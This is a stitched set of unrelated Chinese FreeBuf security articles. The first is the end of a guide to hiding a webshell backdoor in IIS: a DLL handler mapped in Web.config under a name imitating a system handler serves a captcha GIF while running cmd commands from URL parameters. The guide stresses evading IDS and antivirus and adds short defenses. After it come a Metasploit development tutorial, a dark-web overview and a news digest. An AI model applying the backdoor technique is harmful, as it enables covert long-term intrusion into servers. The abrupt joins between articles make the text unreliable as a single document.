type 必选的属性,指定逗号分割的类/程序集组合,一般对应的就是Bin目录下的DLL
verb 必选的属性,可以是GET/POST/PUT;也可以是脚本映射如通配符*
preCondition 可选属性,可以是集成模式(Integrated)/ 经典模式(Classic)
validate 可选的属性,一般为true

下面笔者演示将通过浏览器访问验证码图片达到命令执行的效果:首先name属性设置为一个伪装成正常处理程序的名字PageHandlerFactory-ISAPI-2.0-32;path属性设置为任意名称的gif图片,这里是实现的验证码;verb属性为*表示任意请求都可以;type是最重要的命名空间.类名 ;preCondition属性设置为集成模式(IIS7性能好)

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

笔者编写了一个C#的小马,保存名称为IsapiModules.Handler.cs ,实现三个功能,一是生成验证码,二是创建一个aspx的一句话文件,三是执行cmd命令;生成验证码的目的是为了更好的隐藏自己,从HTTP返回的数据里输出的是一张图片文件,代码片段如下图

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

再在命令行下生成 IsapiModules.Handler.dll,生成DLL的命令如下:

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

最后只需要在站点根目录下的Web.config文件新增handlers/httpHandlers节点 ; 注意在IIS6添加如下配置

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

在IIS7集成模式下这样配置

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

配置好了之后,IIS7服务管理器映射列表中就会注册笔者自定义的映射程序 PageHandlerFactory-ISAPI-2.0-32,名字和系统的 PageHandlerFactory-ISAPI-2.0很接近,但确实是一个伪装者

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

打开浏览器随便输入http://ip/anything.gif?a=c&p=cmd.txt&c=ipconfig ,这个时候界面是一个验证码图片,伪装的很好,IDS也不好检测。

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

这个时候已经在服务器上生成了cmd.txt,得到IP配置信息!

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

试想留下这样一个完美的后门程序,参数加不加的时候都会输出验证码图片,这样就可以绕过一些终端产品和流量检测,达到了很好的隐藏效果。

0×04 菜刀一句话的隐藏

实现菜刀可用的一句话就必须要引入Jscript.Net,而且需要利用.NET FrameWork自带的jsc.exe去编译js脚本。有关jsc.exe的命令可以参考 https://docs.microsoft.com/zh-cn/previous-versions/visualstudio/visual-studio-2010/7435xtz6(v=vs.100)

笔者新建IsapiModu1e.Handler.js,实现代码如下

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

在WebShell里调用jsc.exe编译js脚本,输入

image.png探索基于.NET下妙用DLL+处理映射实现后渗透权限维持探索基于.NET下妙用DLL+处理映射实现后渗透权限维持跳转到Bin目录下得到编译后的DLL

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持修改Web.config配置,添加新的DLL映射关系,完成这步整个菜刀后门配置完成。

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

访问图片菜刀地址 http://ip/news.gif ,看到下图表示菜刀马运行成功!

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持菜刀也毫无压力的连接成功!

探索基于.NET下妙用DLL+处理映射实现后渗透权限维持

最后笔者下载了常见的几款查杀工具,不出预料之前探索出来的一句话木马和混淆后的DLL均免杀。

0×05 小结

1.   这样实现的后门非常隐蔽,管理员很难发觉,可以长期权限维持;

2.   生成的DLL也可以在本地,或者再进一步可以混淆或者加壳等等对抗服务端杀软;

3.   文章的代码片段和DLL下载请参考https://github.com/Ivan1ee ;

4.   Github上已经有编译好的并且加了混淆的DLL;

5.   未加混淆的DLL MD5分别是

IsapiModu1e.Handler.dll  => MD5 (39cbf41b99a3751b3ff755509e35b1ae)、IsapiModules.Handler.dll => MD5 (e891914d65f28822aaf2d13ae984eee6)

6.   加壳混淆后的DLL MD5分别是 

IsapiModu1e.Handler.dll => MD5 (8cc5a23e925aa52d0ae80bec8ab28f88) 、IsapiModules.Handler.dll => MD5 (7cbba64946ecbc824c2cca1192b16684)

0×06 防御措施

1.   作为管理员可以通过查看Web.config里的handlers映射关系排查;

2.   通过IIS服务器管理程序排查非法的映射关系;

3.   对于隐藏的大马或者小马,传统的IDS不好检测,需要终端防护联动起来排杀;

0×07参考链接

https://docs.microsoft.com/zh-cn/previous-versions/visualstudio/visual-studio-2010/7435xtz6(v=vs.100)

https://docs.microsoft.com/zh-cn/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe

https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-2.0/bya7fh0a%28v%3dvs.80%29

*本文作者:360云影实验室,转载请注明来自 FreeBuf.COM

*本文原创作者:Green_m,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×00 前言

本文将通过一些简单的例子说明如何开始学习对 Metasploit Framework 进行开发。

0×01 准备工作  

Metasploit 官方 wiki 就提供了非常好的文档,能解决你遇到的大部分问题。参考链接 

下面列出一些比较重要的文档供参考。

1. 搭建 Metasploit 开发环境,这会创建一个专门用来开发的 Metasploit 版本msf5。官方文档(如果你是一个英语苦手,那么王一航个人提供了一个中文翻译版,见 中文文档)。

2. 社区贡献指南,请参照官方给出的代码规范进行开发,官方链接中文链接

3. Metasploit API,能够查询大量的类、模块、函数定义等等,参考链接  

4. 一些其他的开发技能,包括但不局限于 git使用、ruby 语法、Metasploit 使用了解等。

如果你想参与到社区中,并给 Metasploit 提交 PR,请一定好好参考上述的文档和规范。  

当然如果你仅仅是想自己随便开发一个功能或者进行本地调试,完全不必遵守如此多的限制,怎么开心怎么来。毕竟 ruby 就非常自由,do whatever you want。

0×02 编写模块  

Metaploit 官方的 wiki 里对于如何开发 auxiliary, exploit, post 甚至是 meterpreter 脚本都有非常详细的文档,参照这些文档就能够让你对如何开发这些模块有相当的了解(即使有少部分已经有点过时)。

这里笔者就不详细的一一翻译文档了,主要介绍一些自己开发过程中踩过的坑和需要额外注意的地方。  

模仿其他模块  

当你看完了上面所有的文档和 wiki,如果还是对开发一个全新的模块毫无思绪的话,那么模仿其他人的模块是最好的方法。

在同类型的模块下面,你总能找到和你想开发的类似的模块,仔细阅读一遍,最理想的情况可以直接复制过来,然后修改checkexploit 函数就大功告成。  

查询 API 文档 

Metasploit 项目比较庞大,而且由于 ruby 的灵活和抽象,整体代码封装得相当的好,这导致阅读代码的时候经常找不着北,不清楚函数具体的定义,这时就需要查询 API 文档。

这里以我开发 Hadoop 未授权漏洞代码为示例进行说明。完整源代码见 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/hadoop_unauth_exec.rb

这个模块的exploit 函数只有两句:

# File 'modules/exploits/linux/http/hadoop_unauth_exec.rb', line 62

  def exploit

    print_status('Sending Command')

    execute_cmdstager

  end

主要是由 execute_cmdstager 函数触发漏洞利用代码,但代码上下文中根本找不到该函数的定义,在文档中查询该函数源码(链接):

def execute_cmdstager(opts = {})

  self.cmd_list = generate_cmdstager(opts)

  stager_instance.setup(self)

  begin

    execute_cmdstager_begin(opts)

    sent = 0

    total_bytes = 0

    cmd_list.each { |cmd| total_bytes += cmd.length }

    delay = opts[:delay]

    delay ||= 0.25

    cmd_list.each do |cmd|

      execute_command(cmd, opts)

      sent += cmd.length

      # In cases where a server has multiple threads, we want to be sure that

      # commands we execute happen in the correct (serial) order.

      ::IO.select(nil, nil, nil, delay)

      progress(total_bytes, sent)

    end

    execute_cmdstager_end(opts)

  ensure

    stager_instance.teardown(self)

  end

end

这里其他的细节不用管,主要可以看到执行了两个函数,generate_cmdstagerexecute_command,分别是用来生成 payload 和执行漏洞利用代码的,

前者是 MSF 封装好的函数,后者需要自己在代码中实现。(有兴趣可以继续深入源码学习 generate_cmdstager 是如何实现的,笔者这里限于篇幅就不过多介绍了。)

0×03 开发库

对库函数进行开发就没有开发模块那么多文档了,这个难度也会比之前的难度高一点,没有那么多可以借鉴的代码,而且经常陷入无尽查找函数定义的循环中。 

pry-byebug 

这是一个 ruby 的库文件,在 pry 的基础上添加了命令行下的单步调试功能。

pry 本来就很好用了,而 pry-byebug 最关键的是可以下断点,我自己开发遇到不认识的类或者函数,就靠这个库来解决。官方链接

简单介绍一下使用方法(安装过程略过):

在需要下断点的地方写入 binding.pry

  # Function to install payload as a service

  #-------------------------------------------------------------------------------

  def install_as_service(script_on_target)

    if  is_system? || is_admin?

      binding.pry

      print_status("Installing as service..")

通过指令来控制代码执行流

step: 单步执行,类似于OD里的 F7

next: 单步执行,类似于OD里的 F8

finish: 执行到当前函数返回,类似于 Ctrl + F9

continue: 继续执行,类似于F9  

backtrace: 查看堆栈

还有两个比较实用的函数, show-docshow-method,这两个函数可以在 pry 界面查询对应函数的文档和源码。

Metasploit 项目包含了很多别的库函数,在官方文档内查不到的话用这个方法可以很顺利的找到对应的函数,就不用走太多弯路了。

掌握这些基本的操作就可以了,想深入了解的话多阅读官方文档和代码。

Bug fixer

虽然 Metasploit 社区非常活跃,开发者也很积极的在更新,但 Bug 怎么都是避免不了的东西,尤其是在各种平台下,每添加一个 feature 就有可能引入新的 bug。 

笔者最开始最开始接触库函数相关的代码就是先找到了一个bug,想着提个 issue 吧,官方解决 issue 的速度真的是随缘,还不是靠自己来,于是就卷起袖子开始撸。 

接下来会用一个非常简单的例子给大家讲解。(原始 PR 链接: https://github.com/rapid7/metasploit-framework/pull/10151

在 meterpreter session 回连成功后,如果没有设置自动加载 stdapi 扩展或者因为网络原因没有加载成功的话,使用 load 命令自动补全待加载的扩展时,meterpreter会直接崩溃。

报错如下:

load [-] Session manipulation failed: undefined method `config' for nil:NilClass ["/root/Desktop/msf_dev/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:1220:in `cmd_load_tabs'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:409:in `tab_complete_helper'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:369:in `block in tab_complete_stub'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:358:in `each'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:358:in `tab_complete_stub'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:343:in `tab_complete'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/shell.rb:62:in `block in init_tab_complete'", "/usr/local/rvm/gems/[email protected]/gems/rb-readline-0.5.5/lib/readline.rb:136:in `readline_attempted_completion_function'", "/usr/local/rvm/gems/[email protected]/gems/rb-readline-0.5.5/lib/rbreadline.rb:6329:in `gen_completion_matches'", "/usr/local/rvm/gems/[email protected]/gems/rb-readline-0.5.5/lib/rbreadline.rb:6813:in `rl_complete_internal'", "/usr/local/rvm/gems/[email protected]/gems/rb-readline-0.5.5/lib/rbreadline.rb:6903:in `rl_complete'", "/usr/local/rvm/gems/[email protected]/gems/rb-readline-0.5.5/lib/rbreadline.rb:4374:in `_rl_dispatch_subseq'", "/usr/local/rvm/gems/[email protected]/gems/rb-readline-0.5.5/lib/rbreadline.rb:4363:in `_rl_dispatch'", "/usr/local/rvm/gems/[email protected]/gems/rb-readline-0.5.5/lib/rbreadline.rb:4779:in `readline_internal_charloop'", "/usr/local/rvm/gems/[email protected]/gems/rb-readline-0.5.5/lib/rbreadline.rb:4853:in `readline_internal'", "/usr/local/rvm/gems/[email protected]/gems/rb-readline-0.5.5/lib/rbreadline.rb:4875:in `readline'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/input/readline.rb:162:in `readline_with_output'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/input/readline.rb:100:in `pgets'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/shell.rb:375:in `get_input_line'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/shell.rb:191:in `run'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb:66:in `interact'", "/root/Desktop/msf_dev/metasploit-framework/lib/msf/base/sessions/meterpreter.rb:570:in `_interact'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/interactive.rb:49:in `interact'", "lib/msf/ui/console/command_dispatcher/core.rb:1386:in `cmd_sessions'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:546:in `run_command'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:508:in `block in run_single'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:502:in `each'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:502:in `run_single'", "/root/Desktop/msf_dev/metasploit-framework/lib/rex/ui/text/shell.rb:208:in `run'", "/root/Desktop/msf_dev/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'", "/root/Desktop/msf_dev/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'", "./msfconsole:49:in `<main>'"]

错误比较长,但比较有用的主要是第一行,也就是最底层的堆栈调用,会直接反应出问题,仔细看这一句

Session manipulation failed: undefined method `config' for nil:NilClass ["/root/Desktop/msf_dev/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:1220:in `cmd_load_tabs'

查看对应文件的代码 

# lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb

  def cmd_load_tabs(str, words)

    tabs = SortedSet.new

    if !client.sys.config.sysinfo['BuildTuple'].blank?

      # Use API to get list of extensions from the gem

      MetasploitPayloads::Mettle.available_extensions(client.sys.config.sysinfo['BuildTuple']).each { |f|

        if !extensions.include?(f.split('.').first)

          tabs.add(f)

        end

      }

client.sys.config.sysinfo 函数是在 stdapi 扩展中实现的,因此没有成功加载 stdapi 时调用此函数肯定会失败。  

这部分代码的作者在实现的时候未考虑该情况,才导致该bug的出现,我们只需要判断一下是否加载了该扩展就修复了该bug。

修复后的代码

# lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb 

  def cmd_load_tabs(str, words)

    tabs = SortedSet.new

    if extensions.include?('stdapi') && !client.sys.config.sysinfo['BuildTuple'].blank?

      # Use API to get list of extensions from the gem

      MetasploitPayloads::Mettle.available_extensions(client.sys.config.sysinfo['BuildTuple']).each { |f|

        if !extensions.include?(f.split('.').first)

          tabs.add(f)

        end

      }

更多适合新手的 Pull Request 可以参考链接

feature develop 

当修复比较多的bug后,对 Metasploit 了解也越来越深入,尤其是一些运行加载的库和对应的函数,这个时候想实现一些自己想要的功能就得心应手。  

其实这个部分主要不是局限于对 Metasploit 的不熟悉,更多的是对编程能力的考验。

这部分不太好介绍如何开发,就放上一个我最近给 meterpreter 添加的补全功能吧,有兴趣的多参考一下。 

PR 链接见 https://github.com/rapid7/metasploit-framework/pull/10379

0×04 结论

笔者最开始了解到 Metasploit 的时候就感受到了它的强大,是让我真正感觉到敲敲命令就能渗透的工具,慢慢的就成为了一个 Metasploit 的爱好者,当一个快乐的脚本小子。

希望本篇文章能给各位新手大佬提供一点帮助,也欢迎大家能够更多的参与到维护 Metasploit 社区的工作中。

*本文原创作者:Green_m,本文属FreeBuf原创奖励计划,未经许可禁止转载

在通常的解读中,暗网是指日常上网搜索时无法触及的网站及信息,需要通过 VPN 和 Tor 浏览器(或者Riffle、FreeNet、anoNet 和 ZeroNet 等)才能实现匿名访问。一些调查表明,很多暗网的生命周期都很短。有些能活跃长达一年甚至更久,而有些的寿命只有两个月。

5.jpg

近年来,关于暗网的报道和调查从未停歇,杀人越货、买卖销赃,暗网似乎已经成为犯罪的代名词。但事实上,暗网发展至今,虽然有将近一半暗网平台都充斥着犯罪活动,但还有很多暗网用户是为了追求匿名与隐私保护。人们往往会将不熟悉的事情神秘化,但越神秘就越难看清真相。FreeBuf 已经有很多关于暗网的文章,或是技术层面的介绍,或是聚焦于具体事件。这次,我们从另一个角度来看一看。在安全研究者眼中,关于暗网有哪些常见误解?当前的暗网情况如何?加密货币与暗网如何相互影响?企业又将如何应对来自暗网的威胁呢? 

关于暗网的常见误解

1. 暗网中并非只有犯罪

暗网需要通过 Tor 浏览器才能进入,Tor 浏览器最初以高度匿名性与高度隐私化而著称,很多使用 Tor 的人也是为了这样的合理诉求而来。只不过正如俗话所说,有人的地方就有江湖。各色人等涌进来之后,暗网也就如同表网一样,既有普通用户也有犯罪贩子。暗网的普通用户类别也很多:

在一些国家,上网行为会受到限制,有些需要寻求帮助的人为了避免审查,就在暗网中讲述事实,传播并分享信息;

有很多记者也很重视暗网,以保护或存储自己的信息来源。据说“纽约时报”甚至还有一个安全保险箱用于存储爆料者提供的信息或其他新闻源;

一些需要政府保护的异见人士会通过暗网与外界交流;

有调查还发现,有些学者会在暗网中详细记录自己的学术研究成果

……

曾经有传言说大部分犯罪分子都聚集在暗网中,而事实上暗网中的犯罪分子主要是一帮黑客,且规模并不大。因为暗网中恶意软件易于获取,且处处都是欺诈,黑客不仅会从企业或普通公民那里窃取信息,还会互相之间勾心斗角,黑吃黑。

2. 关于暗网与表网的“冰山比喻”有些夸张

人们常常认为暗网和表网就像一座冰山,表网是浮在水面上的部分,而水下的暗网则规模庞大且难以寻找。但事实上,与数十亿人次访问的表网相比,暗网的规模小得多。每天使用 Tor 的人只有约 200 万,而这 200 万人中,也只有一小部分去访问暗网。不过,就有效信息量来说,也许还是暗网更胜一筹。

3. 暗网并非完全匿名

使用 Tor 浏览器的确难以追踪,但并非完全无法追踪。执法部门会监控 Tor 浏览器的下载情况,甚至亲自创建暗网网站来吸引犯罪分子。所以说,在暗网中,你也并非是完全隐身的。

4. 暗网并不是非法的

当然,下载 Tor 浏览器也并不是非法的。不过,警方认为,一旦接触暗网,就可能受环境影响,身不由己。因此,下载这个浏览器之后,你可能会被执法部门盯上,毕竟现在警方对于暗网犯罪的打击力度很大,暗网知名交易平台“丝绸之路”、“AlphaBay”和“Hansa”被端掉的故事至今都是传奇。据外媒 Engadget 报道,美国多个政府部门近期联合宣布完成有史以来第一次暗网卧底活动,一共打掉超过 35 个暗网交易平台并缴获价值 2360 万美元的商品,其中包括 2000 比特币。卧底在多个场合扮演成洗钱者,逐渐深入交易平台内部,最终获得成功。这其中,比特币等加密货币成了罪恶的催化剂。

暗网已成为威胁情报新来源

由于暗网中充斥着大量信息,包含着最新的恶意软件或其他新的攻击技术或犯罪分子动向,因此这里也成为了安全研究人员寻找威胁情报的新阵地。网络安全公司 IntSights 认为,关注暗网动态,搜集攻击者从策划攻击到实施攻击后的一系列行为,将搜集到信息转化成智能化威胁情报,有助于研究人员在攻击发生之前预测攻击者的意图和行为。

图1.png

近期他们发布的一项研究报告表明,就暗网中数据买卖以及钓鱼邮件这两项重大“攻击指标”而言,金融行业受攻击的可能性最大。根据报告中的统计数据,目前针对金融行业的三大领头的黑客组织分别是MoneyTaker、Carbanak和Cobalt,而这三个黑客组织都被认为是俄罗斯黑客组织,累计对全球多个国家的银行、金融机构和零售行业进行了几百次攻击。而另一个新发现是,很多暗网黑市的供应商已经开始转移到 Telegram 加密聊天室等社交媒体平台开展业务。这为真实世界中安全研究人员应对攻击、开展研究提供了新的方向。

加密货币与暗网:罪恶的恶性循环

2018 年大热的区块链技术让很多人都成了“币圈”的韭菜,连最近常见的攻击事件也都与挖矿或币圈交易所遭窃取有关。而在此之前,暗网才是加密货币的主场。根据 Recorded Future 在 2018 年年初发布的报告,短短几年内,暗网中交易所使用的货币虽然依旧以比特币为主流,但更方便、更安全的莱特币乃至门罗币等加密货币也逐渐风靡。

加密货币.png

随着近来区块链技术以及炒币热席卷全球,围绕这些货币展开的窃取或破坏等黑客攻击不断增多。美国网络安全公司 7 月初发布报告称,仅在 2018 年上半年,针对加密货币交易所的盗窃行为就飙升至整个 2017 年的三倍,相关洗钱活动也因此增加了三倍。报告指出,2018 年前六个月,数字货币交易所共有价值 7.61 亿美元的加密货币被盗。报告还援引美国联邦调查局(FBI)的统计数据,指出与加密货币相关的赎金也不断增加。

一方面,加密货币以其加密、安全性而受到暗网交易者青睐,为暗网交易带来便利,催生了更多犯罪或洗钱活动;另一方面,暗网又为加密货币相关的犯罪行为提供了洗钱或销赃平台,让加密货币越来越不安全。

暗网信息售卖愈发猖獗

截至 2018 年 7 月,暗网英语网站的信息买卖从价值 1 美元的社会安全账号到价值 100 美元的毕业证书不等,成套的信息售价更高。

信息售卖.png

而对于受害者来说,一旦个人信息流失到暗网,损失的不仅仅是金钱。他们还可能无法再借款、需要日积月累地工作甚至要变卖家产来堵上信息被卖所造成的财物损失,甚至背负高利贷,被毁掉整个人生。根据美国司法部 2017 年年底发布的调查报告,个人信息被窃取后,受害者的平均金钱损失在 1343 美元左右,而时间损失和精神损失则无法计算。身份威胁情报公司 4iQ 2018 年5 月份发布的报告显示,2016 年到 2017 年期间,其研究团队发现的身份信息泄露增长了 182%。目前,暗网的信息买卖日益猖獗,且儿童受害者数量不断增加。

如何自保

美国国土安全部近期发布警告称,暗网中针对企业的犯罪有上升的趋势。其中,企业资源计划系统(ERP)相关的应用是最主要的目标,因为这类系统存储着企业最重要、最敏感的数据和业务信息。

对于企业和个人而言,如果不是有深仇大恨或者非常倒霉而遭遇暗网的雇佣杀人或恶意残害等威胁人身安全的事情,那么最常遇到与暗网相关的安全问题便是企业数据或个人信息被犯罪分子获取并在黑市售卖。针对这一问题,也可采取一些应对措施来自保。这些方法也许老生常谈,但总有人需要警钟的时时鞭策。

2.png

对于企业而言,可采取以下措施:

1. 使用多层次网络安全解决方案

对于企业而言,首先要使用合适的技术,部署多层面的安全防护措施,以便及时捕获各种针对企业的攻击,并采取应对措施。

2. 教育公司的员工

当然,要想全方位保护企业信息,仅仅采取技术层面的措施是不够的。企业高层或负责安全的专业人员需要对公司员工进行安全教育,让员工知道应该做什么、不该做什么,并让员工知道如何应多网络安全事件。具体如下:

远离暗网:要求员工在工作期间或在使用公司硬件时不要访问暗网。很多人都对暗网感到好奇,但最好不要去实践,毕竟好奇害死猫;

远离公共 Wi-Fi:许多员工习惯在路上办公或远程办公,但需要教育他们不使用公共 Wi-Fi 或不受保护的 Wi-Fi,因为很多网络犯罪分子都能轻易渗透到这些 Wi-Fi 中,并通过网络获取联网设备中的信息;

谨防邮件钓鱼:教育员工不要打开或下载陌生电子邮件中的附件或链接。邮件钓鱼常年存在,即使是最精明、最敬业的员工也可能被欺骗。因此需要教育员工,让他们了解点击陌生链接这种简单的举动有可能带来严重后果;

使用 HTTPS 开头的网站浏览网页。如果员工必须在工作设备上执行敏感交易,那么最好养成安全、良好的浏览习惯。

3. 所有软件及时更新

软件公司经常会曝出各种漏洞,随后公司会向顾客发布不固定和更新。企业的 IT 部门应当定期、及时更新软件,以免攻击者乘虚而入。

4. 施行强密码政策

密码问题向来是各大安全公司和所有安全研究员所强调的重点。但是,无论重复多少遍,依然有很多人使用简单密码或者为所有账户/设备设置相同密码。如果在企业层面施行强密码政策,则可以为公司组建另一层防护层。

5. 遭遇数据泄露后,第一时间寻求专家帮助

一旦企业遭遇攻击,出现数据泄露,就需要第一时间通知公司的安全供应商或公司内部的安全团队,立刻展开调查。同时,还需要向执法部门寻求帮助,合理应对。

对于个人而言,可采取以下措施:

1. 了解各种网络攻击事件,尤其是信息泄露的危害,提高安全意识;

2. 远离暗网,或者在科学的指导下进入暗网,否则有可能你在下载浏览器的过程中就被别人盯上了;

3. 尽量不使用无密码保护的公共网络、不点击陌生邮件;

4. 使用复杂密码;尽可能使用双因素认证;

5. 一旦发生数据泄露,尽快修改密码并监控泄露数据相关的业务动态,及时应对异常

参考来源:

1. https://go.kaspersky.com/rs/802-IJN-240/images/Dark%20Web%2010172017.pdf?aliId=521973948

2. https://www.engadget.com/2018/06/26/undercover-dark-web-bust-leads-to-35-arrests/

3. https://cdn2.hubspot.net/hubfs/3699194/Content/Research%20Reports/IntSights_Financial_Services_Landscape-Final.pdf

4. https://www.recordedfuture.com/dark-web-currency/

5. https://www.reuters.com/article/us-crypto-currencies-ciphertrace/cryptocurrency-exchange-theft-surges-in-first-half-of-2018-report-idUSKBN1JT1Q5

6. http://www.foxnews.com/tech/2018/07/27/dhs-warns-companies-targeted-on-dark-web.html7. https://www.bjs.gov/content/pub/pdf/vit14.pdf

*作者:AngelaY,转载请注明来自 FreeBuf.COM

各位Buffer早上好,今天是2018年8月1日星期三,农历六月二十。今天份的BUF早餐内容有:工信部就”调取摄像头权限”对腾讯等6企业问询调查;湖北某医院遭撒旦勒索病毒袭击,现已恢复文件;Steam上一款游戏是伪装的病毒,把玩家PC变成矿机;五角大楼制定不能购买的中俄软件清单;黑客从KICKICO窃取了价值770万美元的数字货币。

安全资讯早知道,两分钟听完最新安全快讯~

pancake-1776646_960_720.jpg

工信部就”调取摄像头权限”对腾讯等6企业问询调查

近期,针对媒体公开报道和用户投诉较为集中的“部分应用随意调取手机摄像头权限、用户订单信息泄露引发诈骗案件、用户信息过度收集和滥用”等网络数据和用户个人信息安全突出情况,工业和信息化部网络安全管理局会同北京、上海等通信管理局积极开展调查,先后组织对涉及的上海携程商务有限公司、深圳市腾讯计算机系统有限公司、上海洋码头网络技术有限公司、北京弹幕网络科技有限公司、北京爱奇艺科技有限公司、探探文化发展(北京)有限公司等企业进行了情况问询,要求上述企业按照《网络安全法》《电信和互联网用户个人信息保护规定》有关网络数据和用户个人信息保护要求,进一步完善内部管理制度和技术保障措施,强化网络数据和用户个人信息安全保护,落实重大安全事件及时报告要求。 [来源:@工信微报]

Steam上一款游戏是伪装的病毒,把玩家PC变成矿机

Steam上一款名为《抽象主义(Abstractism)》的游戏近日引起了国外玩家的注意,因为这款看起来平平无奇的2D游戏竟然拥有着非常可观的CPU和GPU占有率,而随后玩家SidAlpha对这款游戏进行了深入的研究,发现这就是款披着游戏外衣的挖矿器。根据介绍,这款游戏会向玩家们的电脑上安装一个木马病毒,伪装成Steam.exe进程,并在“Abstractism启动器”启动同时运行恶意软件,而这些安装的恶意软件看起来似乎是用来挖取数字货币的,同时也伴随着CPU和GPU使用率的飙升。目前这款游戏已经在Steam上引起了很大的争议,虽然还未遭到Steam下架,但还是希望大家谨慎对待。[来源: 游民星空]

湖北某医院遭撒旦勒索病毒袭击,现已恢复文件

近期,湖北某医院称其内部多台服务器遭遇勒索病毒攻击,所有数据类文件都被加密,加密后文件名被修改成“[[email protected]]+原始文件名+.dbger”。分析发现,入侵该医院服务器的是撒旦(Satan)勒索病毒的最新变种,最终腾讯安全专家成功帮这家医院恢复了服务器被加密的数据文件。[来源:Bianews]

五角大楼制定不能购买的中俄软件清单

五角大楼的采购主管警告军方及其承包商不要使用与俄罗斯和中国有关联的软件。五角大楼开始传阅一个被认为不符合国家安全标准的软件禁止购买清单。美国国防部是从六个月前开始编辑这个软件名单的。现在它正与三个主要的国防行业贸易协会——航天工业协会、国防工业协会和专业服务委员会——合作去警告大小型的国防承包商。详细的禁购软件名单没有披露。[来源:Solidot]

黑客从KICKICO窃取了价值770万美元的数字货币

黑客从 KICKICO 平台窃取了价值 770 万美元的数字货币,采用的方法比较新颖——销毁现有的币创造同等量的新币到黑客控制的地址。这种方法逃脱了 KICKICO 的监视,因为它没有改变已发行的 KICKICO 令牌数量。黑客首先设法窃取了 KICKICO 智能合同控制的加密密钥。[来源:cnBeta]

*本文由Andy.i整理编译,转载请注明来自FreeBuf.COM